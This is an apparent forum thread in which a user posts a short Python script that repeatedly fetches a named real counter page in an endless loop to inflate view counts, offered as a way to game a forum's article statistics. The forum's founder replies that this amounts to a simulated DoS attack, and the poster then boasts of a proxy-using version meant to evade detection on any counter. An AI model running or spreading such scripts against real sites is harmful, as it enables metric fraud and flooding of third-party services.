How to mess up Basic counter scrips on Web-pages

lionaneesh's Avatar, Join Date: Mar 2010
Invasive contributor
Hey today in this tutorial of mine I will demonstrate how to mess up the basic/inelegant counter scrips on the web-pages counting view count etc..

Note : The info provided by this page is just for educational purposes and should not be used for unethical purposes

The Target



I am using Another PhpPageCounter by:WGREP [http://www.wgrep.com/phpcounter.php as a target because its the top rated counter by Hotscripts [http://www.hotscripts.com/category/p...ams/counters/]

The Code


This code is for Python 3.0 if using previous versions change 'urllib2' occurrences in the page to urllib...To know why
Read :-
http://docs.python.org/library/urllib.html

Code:
import urllib2
counter = 0;
hostname = "http://www.wgrep.com/phpcounter.php";
print("Messing up Counter of " +hostname);
try :
        while 1:
                source = urllib2.urlopen(hostname).read()
                counter = counter + 1;
                print(counter);
except :
        print("\nThanks for using CounterMess\n\tMade By : lionaneesh \n\tAKA\n\tExp|i(t-Hax0r")

Uses



If any forum is using this script you can increase the visitors count to your article and easily be promoted to Author etc..
I hope G4E is safe!!!

References



Thanks for viewing my Article...
Have fun...and keep the comments coming..
Scripting like this
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
lionaneesh's Avatar, Join Date: Mar 2010
Invasive contributor
Quote:
Originally Posted by shabbir View Post
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
YeaH!!!!!!! I understand this and thats what i wrote in the beginning of my article...
Apologizes...
But i only wanted users to get something from it..
Scripting like this
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Nothing to apologize but just wanted to let you know about it.
Scripting's Avatar, Join Date: Jun 2010
John Hoder
Man, this is very good and tricky thing !!!
lionaneesh's Avatar, Join Date: Mar 2010
Invasive contributor
Quote:
Originally Posted by Scripting View Post
Man, this is very good and tricky thing !!!
Yeah, I made another one.. it uses proxy's so that it makes us undetectable and can bypass any counter on the net!!!
Scripting like this
Scripting's Avatar, Join Date: Jun 2010
John Hoder
Can u sent it to me (on skype )? Thx
lionaneesh like this
lionaneesh's Avatar, Join Date: Mar 2010
Invasive contributor
Quote:
Originally Posted by Scripting View Post
Can u sent it to me (on skype )? Thx
Finish the work buddy...
We'll upload it directly to our site!!!